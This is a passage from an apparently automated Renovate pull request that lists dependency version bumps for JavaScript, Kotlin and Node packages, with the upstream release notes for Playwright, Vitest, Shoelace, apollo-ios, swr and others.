| [lucide-react](https://lucide.dev) ([source](https://redirect.github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react)) | [`^0.473.0` -> `^0.474.0`](https://renovatebot.com/diffs/npm/lucide-react/0.473.0/0.474.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lucide-react/0.474.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lucide-react/0.474.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lucide-react/0.473.0/0.474.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lucide-react/0.473.0/0.474.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [node](https://nodejs.org) ([source](https://redirect.github.com/nodejs/node)) | `22.13.0` -> `22.13.1` | [![age](https://developer.mend.io/api/mc/badges/age/node-version/node/v22.13.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/node-version/node/v22.13.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/node-version/node/v22.13.0/v22.13.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/node-version/node/v22.13.0/v22.13.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |  | patch |
| [playwright](https://playwright.dev) ([source](https://redirect.github.com/microsoft/playwright)) | [`=1.49.1` -> `=1.50.1`](https://renovatebot.com/diffs/npm/playwright/1.49.1/1.50.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/playwright/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/playwright/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/playwright/1.49.1/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/playwright/1.49.1/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [react-email](https://redirect.github.com/resend/react-email) ([source](https://redirect.github.com/resend/react-email/tree/HEAD/packages/react-email)) | [`3.0.4` -> `3.0.6`](https://renovatebot.com/diffs/npm/react-email/3.0.4/3.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-email/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-email/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-email/3.0.4/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-email/3.0.4/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [swr](https://swr.vercel.app) ([source](https://redirect.github.com/vercel/swr)) | [`2.3.0` -> `2.3.2`](https://renovatebot.com/diffs/npm/swr/2.3.0/2.3.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/swr/2.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/swr/2.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/swr/2.3.0/2.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/swr/2.3.0/2.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [vite](https://vite.dev) ([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite)) | [`6.0.9` -> `6.1.0`](https://renovatebot.com/diffs/npm/vite/6.0.9/6.1.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vite/6.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite/6.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite/6.0.9/6.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.0.9/6.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | resolutions | minor |
| [com.apollographql.apollo](https://redirect.github.com/apollographql/apollo-kotlin) | `4.1.0` -> `4.1.1` | [![age](https://developer.mend.io/api/mc/badges/age/maven/com.apollographql.apollo:com.apollographql.apollo.gradle.plugin/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/com.apollographql.apollo:com.apollographql.apollo.gradle.plugin/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/com.apollographql.apollo:com.apollographql.apollo.gradle.plugin/4.1.0/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/com.apollographql.apollo:com.apollographql.apollo.gradle.plugin/4.1.0/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | plugin | patch |
| [com.apollographql.apollo:apollo-api](https://redirect.github.com/apollographql/apollo-kotlin) | `4.1.0` -> `4.1.1` | [![age](https://developer.mend.io/api/mc/badges/age/maven/com.apollographql.apollo:apollo-api/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/com.apollographql.apollo:apollo-api/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/com.apollographql.apollo:apollo-api/4.1.0/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/com.apollographql.apollo:apollo-api/4.1.0/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [com.apollographql.apollo:apollo-runtime](https://redirect.github.com/apollographql/apollo-kotlin) | `4.1.0` -> `4.1.1` | [![age](https://developer.mend.io/api/mc/badges/age/maven/com.apollographql.apollo:apollo-runtime/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/com.apollographql.apollo:apollo-runtime/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/com.apollographql.apollo:apollo-runtime/4.1.0/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/com.apollographql.apollo:apollo-runtime/4.1.0/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [org.jetbrains.kotlin.jvm](https://kotlinlang.org/) ([source](https://redirect.github.com/JetBrains/kotlin)) | `2.1.0` -> `2.1.10` | [![age](https://developer.mend.io/api/mc/badges/age/maven/org.jetbrains.kotlin.jvm:org.jetbrains.kotlin.jvm.gradle.plugin/2.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/org.jetbrains.kotlin.jvm:org.jetbrains.kotlin.jvm.gradle.plugin/2.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/org.jetbrains.kotlin.jvm:org.jetbrains.kotlin.jvm.gradle.plugin/2.1.0/2.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/org.jetbrains.kotlin.jvm:org.jetbrains.kotlin.jvm.gradle.plugin/2.1.0/2.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | plugin | patch |
| [org.jetbrains.kotlin.android](https://kotlinlang.org/) ([source](https://redirect.github.com/JetBrains/kotlin)) | `2.1.0` -> `2.1.10` | [![age](https://developer.mend.io/api/mc/badges/age/maven/org.jetbrains.kotlin.android:org.jetbrains.kotlin.android.gradle.plugin/2.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/org.jetbrains.kotlin.android:org.jetbrains.kotlin.android.gradle.plugin/2.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/org.jetbrains.kotlin.android:org.jetbrains.kotlin.android.gradle.plugin/2.1.0/2.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/org.jetbrains.kotlin.android:org.jetbrains.kotlin.android.gradle.plugin/2.1.0/2.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | plugin | patch |

---

### Release Notes

<details>
<summary>natemoo-re/clack (@&#8203;clack/prompts)</summary>

### [`v0.10.0`](https://redirect.github.com/natemoo-re/clack/blob/HEAD/packages/prompts/CHANGELOG.md#0100)

[Compare Source](https://redirect.github.com/natemoo-re/clack/compare/@clack/prompts@0.9.1...@clack/prompts@0.10.0)

##### Minor Changes

-   [`613179d`](https://redirect.github.com/natemoo-re/clack/commit/613179d): Adds a new `indicator` option to `spinner`, which supports the original `"dots"` loading animation or a new `"timer"` loading animation.

    ```ts
    import * as p from "@&#8203;clack/prompts";

    const spin = p.spinner({ indicator: "timer" });
    spin.start("Loading");
    await sleep(3000);
    spin.stop("Loaded");
    ```

-   [`a38b2bc`](https://redirect.github.com/natemoo-re/clack/commit/a38b2bc): Adds `stream` API which provides the same methods as `log`, but for iterable (even async) message streams. This is particularly useful for AI responses which are dynamically generated by LLMs.

    ```ts
    import * as p from "@&#8203;clack/prompts";

    await p.stream.step(
      (async function* () {
        yield* generateLLMResponse(question);
      })()
    );
    ```

</details>

<details>
<summary>dotansimha/graphql-code-generator (@&#8203;graphql-codegen/cli)</summary>

### [`v5.0.4`](https://redirect.github.com/dotansimha/graphql-code-generator/blob/HEAD/packages/graphql-codegen-cli/CHANGELOG.md#504)

[Compare Source](https://redirect.github.com/dotansimha/graphql-code-generator/compare/@graphql-codegen/cli@5.0.3...@graphql-codegen/cli@5.0.4)

##### Patch Changes

-   [#&#8203;10248](https://redirect.github.com/dotansimha/graphql-code-generator/pull/10248) [`72eb86f`](72eb86f49b) Thanks [@&#8203;renovate](https://redirect.github.com/apps/renovate)! - dependencies updates:

    -   Updated dependency [`@whatwg-node/fetch@^0.10.0` ↗︎](https://www.npmjs.com/package/@&#8203;whatwg-node/fetch/v/0.10.0) (from `^0.9.20`, in `dependencies`)

-   [#&#8203;10227](https://redirect.github.com/dotansimha/graphql-code-generator/pull/10227) [`6f1741a`](6f1741af03) Thanks [@&#8203;eddeee888](https://redirect.github.com/eddeee888)! - Fix schema pointers type to allow an array of pointers

-   Updated dependencies \[[`8737dd8`](8737dd86b4), [`ed71811`](ed71811ace)]:
    -   [@&#8203;graphql-codegen/client-preset](https://redirect.github.com/graphql-codegen/client-preset)[@&#8203;4](https://redirect.github.com/4).6.0

</details>

<details>
<summary>napi-rs/napi-rs (@&#8203;napi-rs/cli)</summary>

### [`v3.0.0-alpha.70`](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.69...@napi-rs/cli@3.0.0-alpha.70)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.69...@napi-rs/cli@3.0.0-alpha.70)

### [`v3.0.0-alpha.69`](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.68...@napi-rs/cli@3.0.0-alpha.69)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.68...@napi-rs/cli@3.0.0-alpha.69)

</details>

<details>
<summary>microsoft/playwright (@&#8203;playwright/test)</summary>

### [`v1.50.1`](https://redirect.github.com/microsoft/playwright/compare/v1.50.0...dbc685ca98bf937a318f36b0de9ed6e48dac2db5)

[Compare Source](https://redirect.github.com/microsoft/playwright/compare/v1.50.0...v1.50.1)

### [`v1.50.0`](https://redirect.github.com/microsoft/playwright/releases/tag/v1.50.0)

[Compare Source](https://redirect.github.com/microsoft/playwright/compare/v1.49.1...v1.50.0)

#### Test runner

-   New option [`timeout`](https://playwright.dev/docs/api/class-test#test-step-option-timeout) allows specifying a maximum run time for an individual test step. A timed-out step will fail the execution of the test.

    ```js
    test('some test', async ({ page }) => {
      await test.step('a step', async () => {
        // This step can time out separately from the test
      }, { timeout: 1000 });
    });
    ```

-   New method [test.step.skip()](https://playwright.dev/docs/api/class-test#test-step-skip) to disable execution of a test step.

    ```js
    test('some test', async ({ page }) => {
      await test.step('before running step', async () => {
        // Normal step
      });

      await test.step.skip('not yet ready', async () => {
        // This step is skipped
      });

      await test.step('after running step', async () => {
        // This step still runs even though the previous one was skipped
      });
    });
    ```

-   Expanded [expect(locator).toMatchAriaSnapshot()](https://playwright.dev/docs/api/class-locatorassertions#locator-assertions-to-match-aria-snapshot-2) to allow storing of aria snapshots in separate YAML files.

-   Added method [expect(locator).toHaveAccessibleErrorMessage()](https://playwright.dev/docs/api/class-locatorassertions#locator-assertions-to-have-accessible-error-message) to assert the Locator points to an element with a given [aria errormessage](https://w3c.github.io/aria/#aria-errormessage).

-   Option [testConfig.updateSnapshots](https://playwright.dev/docs/api/class-testconfig#test-config-update-snapshots) added the configuration enum `changed`. `changed` updates only the snapshots that have changed, whereas `all` now updates all snapshots, regardless of whether there are any differences.

-   New option [testConfig.updateSourceMethod](https://playwright.dev/docs/api/class-testconfig#test-config-update-source-method) defines the way source code is updated when [testConfig.updateSnapshots](https://playwright.dev/docs/api/class-testconfig#test-config-update-snapshots) is configured. Added `overwrite` and `3-way` modes that write the changes into source code, on top of existing `patch` mode that creates a patch file.

    ```bash
    npx playwright test --update-snapshots=changed --update-source-method=3way
    ```

-   Option [testConfig.webServer](https://playwright.dev/docs/api/class-testconfig#test-config-web-server) added a `gracefulShutdown` field for specifying a process kill signal other than the default `SIGKILL`.

-   Exposed [testStep.attachments](https://playwright.dev/docs/api/class-teststep#test-step-attachments) from the reporter API to allow retrieval of all attachments created by that step.

#### UI updates

-   Updated default HTML reporter to improve display of attachments.
-   New button for picking elements to produce aria snapshots.
-   Additional details (such as keys pressed) are now displayed alongside action API calls in traces.
-   Display of `canvas` content in traces is error-prone. Display is now disabled by default, and can be enabled via the `Display canvas content` UI setting.
-   `Call` and `Network` panels now display additional time information.

#### Breaking

-   [expect(locator).toBeEditable()](https://playwright.dev/docs/api/class-locatorassertions#locator-assertions-to-be-editable) and [locator.isEditable()](https://playwright.dev/docs/api/class-locator#locator-is-editable) now throw if the target element is not `<input>`, `<select>`, or a number of other editable elements.
-   Option [testConfig.updateSnapshots](https://playwright.dev/docs/api/class-testconfig#test-config-update-snapshots) now updates all snapshots when set to `all`, rather than only the failed/changed snapshots. Use the new enum `changed` to keep the old functionality of only updating the changed snapshots.

#### Browser Versions

-   Chromium 133.0.6943.16
-   Mozilla Firefox 134.0
-   WebKit 18.2

This version was also tested against the following stable channels:

-   Google Chrome 132
-   Microsoft Edge 132

</details>

<details>
<summary>shoelace-style/shoelace (@&#8203;shoelace-style/shoelace)</summary>

### [`v2.20.0`](https://redirect.github.com/shoelace-style/shoelace/releases/tag/v2.20.0)

[Compare Source](https://redirect.github.com/shoelace-style/shoelace/compare/v2.19.1...v2.20.0)

#### Commits

-   [`7fd18d1`](https://redirect.github.com/shoelace-style/shoelace/commit/7fd18d1): Modify ja.ts ([#&#8203;2329](https://redirect.github.com/shoelace-style/shoelace/issues/2329)) (jz5) [#&#8203;2329](https://redirect.github.com/shoelace-style/shoelace/pull/2329)
-   [`c16c533`](https://redirect.github.com/shoelace-style/shoelace/commit/c16c533): update changelog (Cory LaViska)
-   [`7f88bb3`](https://redirect.github.com/shoelace-style/shoelace/commit/7f88bb3): Svelte documentation: adding Two-way Binding example in <sl-select> ([#&#8203;2327](https://redirect.github.com/shoelace-style/shoelace/issues/2327)) (Emanuel Saramago) [#&#8203;2327](https://redirect.github.com/shoelace-style/shoelace/pull/2327)
-   [`b5e82d6`](https://redirect.github.com/shoelace-style/shoelace/commit/b5e82d6): update docs (Cory LaViska)
-   [`81e94f2`](https://redirect.github.com/shoelace-style/shoelace/commit/81e94f2): Only trigger defaultslotchange of select after initialization ([#&#8203;2318](https://redirect.github.com/shoelace-style/shoelace/issues/2318)) (Susanne Kirchner) [#&#8203;2318](https://redirect.github.com/shoelace-style/shoelace/pull/2318)
-   [`f0c93d0`](https://redirect.github.com/shoelace-style/shoelace/commit/f0c93d0): update changelog (Cory LaViska)
-   [`6761fdc`](https://redirect.github.com/shoelace-style/shoelace/commit/6761fdc): Merge branch 'next' of https://github.com/shoelace-style/shoelace into next (Cory LaViska)
-   [`b0399ca`](https://redirect.github.com/shoelace-style/shoelace/commit/b0399ca): fix tabbable for radios ([#&#8203;2357](https://redirect.github.com/shoelace-style/shoelace/issues/2357)) (Konnor Rogers) [#&#8203;2357](https://redirect.github.com/shoelace-style/shoelace/pull/2357)
-   [`372ba1f`](https://redirect.github.com/shoelace-style/shoelace/commit/372ba1f): fix ssr for sl-alert and scrollend-polyfill ([#&#8203;2359](https://redirect.github.com/shoelace-style/shoelace/issues/2359)) (Christian Schilling) [#&#8203;2359](https://redirect.github.com/shoelace-style/shoelace/pull/2359)
-   [`69cf94b`](https://redirect.github.com/shoelace-style/shoelace/commit/69cf94b): Explain why dividers don't show if you use TailwindCSS and add a workaround. ([#&#8203;2356](https://redirect.github.com/shoelace-style/shoelace/issues/2356)) (Marcus) [#&#8203;2356](https://redirect.github.com/shoelace-style/shoelace/pull/2356)
-   [`b5f308c`](https://redirect.github.com/shoelace-style/shoelace/commit/b5f308c): move to section (Cory LaViska)
-   [`cb6460c`](https://redirect.github.com/shoelace-style/shoelace/commit/cb6460c): update action (Cory LaViska)
-   [`d93ee89`](https://redirect.github.com/shoelace-style/shoelace/commit/d93ee89): add changelog check (Cory LaViska)
-   [`0bc6d8c`](https://redirect.github.com/shoelace-style/shoelace/commit/0bc6d8c): fix error (Cory LaViska)
-   [`c3b1fb9`](https://redirect.github.com/shoelace-style/shoelace/commit/c3b1fb9): try again (Cory LaViska)
-   [`fce7f7c`](https://redirect.github.com/shoelace-style/shoelace/commit/fce7f7c): fix comment (Cory LaViska)
-   [`afc2b06`](https://redirect.github.com/shoelace-style/shoelace/commit/afc2b06): sigh (Cory LaViska)
-   [`03f8464`](https://redirect.github.com/shoelace-style/shoelace/commit/03f8464): ahem (Cory LaViska)
-   [`471e6cc`](https://redirect.github.com/shoelace-style/shoelace/commit/471e6cc): somebody save me (Cory LaViska)
-   [`c858a3a`](https://redirect.github.com/shoelace-style/shoelace/commit/c858a3a): yaml was a mistake (Cory LaViska)
-   [`5e11687`](https://redirect.github.com/shoelace-style/shoelace/commit/5e11687): save me tarides (Cory LaViska)
-   [`4530ba3`](https://redirect.github.com/shoelace-style/shoelace/commit/4530ba3): welp (Cory LaViska)
-   [`d674577`](https://redirect.github.com/shoelace-style/shoelace/commit/d674577): not today i guess (Cory LaViska)
-   [`ca8a12b`](https://redirect.github.com/shoelace-style/shoelace/commit/ca8a12b): maybe, just maybe (Cory LaViska)
-   [`74dafea`](https://redirect.github.com/shoelace-style/shoelace/commit/74dafea): somebody save me (Cory LaViska)
-   [`39e4557`](https://redirect.github.com/shoelace-style/shoelace/commit/39e4557): ok konnor (Cory LaViska)
-   [`d45e6df`](https://redirect.github.com/shoelace-style/shoelace/commit/d45e6df): revert (Cory LaViska)
-   [`e3b117d`](https://redirect.github.com/shoelace-style/shoelace/commit/e3b117d): i'll get you next time gadget! next time... (Cory LaViska)
-   [`a7aadc9`](https://redirect.github.com/shoelace-style/shoelace/commit/a7aadc9): SlSplitPanel `snap` improvements. ([#&#8203;2340](https://redirect.github.com/shoelace-style/shoelace/issues/2340)) (Auri Collings) [#&#8203;2340](https://redirect.github.com/shoelace-style/shoelace/pull/2340)
-   [`bb8f16a`](https://redirect.github.com/shoelace-style/shoelace/commit/bb8f16a): fix code field (Cory LaViska)
-   [`ee7aa09`](https://redirect.github.com/shoelace-style/shoelace/commit/ee7aa09): update changelog (Cory LaViska)
-   [`ff34da1`](https://redirect.github.com/shoelace-style/shoelace/commit/ff34da1): prettier (Cory LaViska)
-   [`de371b3`](https://redirect.github.com/shoelace-style/shoelace/commit/de371b3): update version (Cory LaViska)
-   [`960de96`](https://redirect.github.com/shoelace-style/shoelace/commit/960de96): 2.20.0 (Cory LaViska)

</details>

<details>
<summary>vitest-dev/vitest (@&#8203;vitest/browser)</summary>

### [`v3.0.5`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.5)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5)

This release includes security patches for:

-   [Remote Code Execution when accessing a malicious website while Vitest API server is listening | CVE-2025-24964](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq)

##### 🚀 Features

-   **ui**: Insert message "no tests found" in ui - by [@&#8203;DevJoaoLopes](https://redirect.github.com/DevJoaoLopes) in [https://github.com/vitest-dev/vitest/issues/7366](https://redirect.github.com/vitest-dev/vitest/issues/7366) [<samp>(92da4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/92da490bd)

##### 🐞 Bug Fixes

-   Validate websocket request - by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) and [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7317](https://redirect.github.com/vitest-dev/vitest/issues/7317) [<samp>(191ef)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/191ef9e34)
-   Don't toggle cli cursor on non-TTY - by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7336](https://redirect.github.com/vitest-dev/vitest/issues/7336) [<samp>(3c805)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3c8050e69)
-   **vite-node**: Differentiate file url with hash and query - by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa)  in [https://github.com/vitest-dev/vitest/issues/7365](https://redirect.github.com/vitest-dev/vitest/issues/7365) [<samp>(926ca)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/926ca9546)

##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5)

</details>

<details>
<summary>apollographql/apollo-ios (apollographql/apollo-ios)</summary>

### [`v1.17.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1170)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.16.1...1.17.0)

##### New

-   **Add suffix to schema type filenames ([#&#8203;2598](https://redirect.github.com/apollographql/apollo-ios/issues/2598)):** When fragments were named the same as schema types code generation would produce two files with the same name, but at different paths, for each respective type. This would cause a build error in Xcode. There is a new codegen configuration option (`appendSchemaTypeFilenameSuffix`) to add a suffix to schema generated filenames and prevent the build error. See PR [#&#8203;580](https://redirect.github.com/apollographql/apollo-ios-dev/pull/580).
-   **Specify caching fields with `typePolicy` directive ([#&#8203;554](https://redirect.github.com/apollographql/apollo-ios-dev/pull/554)):** The `@typePolicy` directive lets you specify an object's cache ID using key fields of the response object. See the [documentation](https://www.apollographql.com/docs/ios/caching/cache-key-resolution#the-typepolicy-directive) for full details. *Thank you to [@&#8203;x-sheep](https://redirect.github.com/x-sheep) for the contribution.*
-   **Emit `Identifiable` conformance on `SelectionSet` ([#&#8203;584](https://redirect.github.com/apollographql/apollo-ios-dev/pull/584)):** If the `@typePolicy` of a type uses a `keyField` of `id` the selection set will emit conformance to Swifts [`Identifiable` protocol](https://developer.apple.com/documentation/swift/identifiable). *Thank you to [@&#8203;x-sheep](https://redirect.github.com/x-sheep) for the contribution.*

##### Improvement

-   **Improved performance of code generation on operations with many nested fragments ([#&#8203;3434](https://redirect.github.com/apollographql/apollo-ios/issues/3434)):** When fragment field merging is disabled the fragment selection trees are no longer merged into the `EntitySelectionSet` while building operations. See PR [#&#8203;571](https://redirect.github.com/apollographql/apollo-ios-dev/pull/571).

##### Fixed

-   **Defer metadata extension ([#&#8203;3505](https://redirect.github.com/apollographql/apollo-ios/issues/3503)):** Metadata extensions for deferred selection sets were incorrectly generated inside the namespace extension for `embeddedInTarget` and `other` module types. See PR [#&#8203;581](https://redirect.github.com/apollographql/apollo-ios-dev/pull/581).
-   **`DataDict` initialization of `deferredFragments` for named fragments ([#&#8203;587](https://redirect.github.com/apollographql/apollo-ios-dev/pull/587)):** When deferred fragments are named fragments the deferred type should be the fragment generated definition name.

### [`v1.16.1`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1161)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.16.0...1.16.1)

##### Fixed

-   **Web socket data race crash fixed ([#&#8203;578](https://redirect.github.com/apollographql/apollo-ios-dev/pull/578)):** A data race in the web socket layer was causing crashes in some rare circumstances.

-   **Added support for GraphQL over HTTP media type([#&#8203;558](https://redirect.github.com/apollographql/apollo-ios-dev/pull/558)):** Apollo iOS now supports the `content-type` header with a type of `application/graphql-response+json`.

</details>

<details>
<summary>gradle/gradle (gradle)</summary>

### [`v8.12.1`](https://redirect.github.com/gradle/gradle/compare/v8.12.0...v8.12.1)

[Compare Source](https://redirect.github.com/gradle/gradle/compare/v8.12.0...v8.12.1)

</details>

<details>
<summary>lucide-icons/lucide (lucide-react)</summary>

### [`v0.474.0`](https://redirect.github.com/lucide-icons/lucide/releases/tag/0.474.0): New icons 0.474.0

[Compare Source](https://redirect.github.com/lucide-icons/lucide/compare/0.473.0...0.474.0)

##### Modified Icons 🔨

-   `expand` ([#&#8203;2677](https://redirect.github.com/lucide-icons/lucide/issues/2677)) by [@&#8203;jguddas](https://redirect.github.com/jguddas)

</details>

<details>
<summary>nodejs/node (node)</summary>

### [`v22.13.1`](https://redirect.github.com/nodejs/node/compare/v22.13.0...v22.13.1)

[Compare Source](https://redirect.github.com/nodejs/node/compare/v22.13.0...v22.13.1)

</details>

<details>
<summary>resend/react-email (react-email)</summary>

### [`v3.0.6`](https://redirect.github.com/resend/react-email/blob/HEAD/packages/react-email/CHANGELOG.md#306)

[Compare Source](https://redirect.github.com/resend/react-email/compare/react-email@3.0.5...react-email@3.0.6)

##### Patch Changes

-   [`c6fcd94`](https://redirect.github.com/resend/react-email/commit/c6fcd94): Fix preview server crashing without React 19

### [`v3.0.5`](https://redirect.github.com/resend/react-email/blob/HEAD/packages/react-email/CHANGELOG.md#305)

[Compare Source](https://redirect.github.com/resend/react-email/compare/react-email@3.0.4...react-email@3.0.5)

##### Patch Changes

-   [`7337d04`](https://redirect.github.com/resend/react-email/commit/7337d04): Fix emails being re-rendered each time there is navigation in the preview server

</details>

<details>
<summary>vercel/swr (swr)</summary>

### [`v2.3.2`](https://redirect.github.com/vercel/swr/compare/v2.3.1...v2.3.2)

[Compare Source](https://redirect.github.com/vercel/swr/compare/v2.3.1...v2.3.2)

### [`v2.3.1`](https://redirect.github.com/vercel/swr/releases/tag/v2.3.1)

[Compare Source](https://redirect.github.com/vercel/swr/compare/v2.3.0...v2.3.1)

##### Fixes

-   fix: missing `throwOnError` in SWRMutationHook options by [@&#8203;Ram4GB](https://redirect.github.com/Ram4GB) in [https://github.com/vercel/swr/pull/3054](https://redirect.github.com/vercel/swr/pull/3054)
-   fix: sever env detection for deno by [@&#8203;elrrrrrrr](https://redirect.github.com/elrrrrrrr) in [https://github.com/vercel/swr/pull/4064](https://redirect.github.com/vercel/swr/pull/4064)
-   keepPreviousData: return fallback instead of undefined value by [@&#8203;dvoytenko](https://redirect.github.com/dvoytenko) in [https://github.com/vercel/swr/pull/4084](https://redirect.github.com/vercel/swr/pull/4084)

##### Misc

-   ci: update pnpm setup and lock pnpm vesion by [@&#8203;huozhi](https://redirect.github.com/huozhi) in [https://github.com/vercel/swr/pull/4085](https://redirect.github.com/vercel/swr/pull/4085)
-   build: bump bundler by [@&#8203;huozhi](https://redirect.github.com/huozhi) in [https://github.com/vercel/swr/pull/4086](https://redirect.github.com/vercel/swr/pull/4086)
-   refactor: type improvement of `useSWRHandler` by [@&#8203;samuel871211](https://redirect.github.com/samuel871211) in [https://github.com/vercel/swr/pull/4075](https://redirect.github.com/vercel/swr/pull/4075)

#### New Contributors

-   [@&#8203;Ram4GB](https://redirect.github.com/Ram4GB) made their first contribution in [https://github.com/vercel/swr/pull/3054](https://redirect.github.com/vercel/swr/pull/3054)
-   [@&#8203;elrrrrrrr](https://redirect.github.com/elrrrrrrr) made their first contribution in [https://github.com/vercel/swr/pull/4064](https://redirect.github.com/vercel/swr/pull/4064)
-   [@&#8203;dvoytenko](https://redirect.github.com/dvoytenko) made their first contribution in [https://github.com/vercel/swr/pull/4084](https://redirect.github.com/vercel/swr/pull/4084)
-   [@&#8203;samuel871211](https://redirect.github.com/samuel871211) made their first contribution in [https://github.com/vercel/swr/pull/4075](https://redirect.github.com/vercel/swr/pull/4075)

**Full Changelog**: https://github.com/vercel/swr/compare/v2.3.0...v2.3.1

</details>

<details>
<summary>vitejs/vite (vite)</summary>

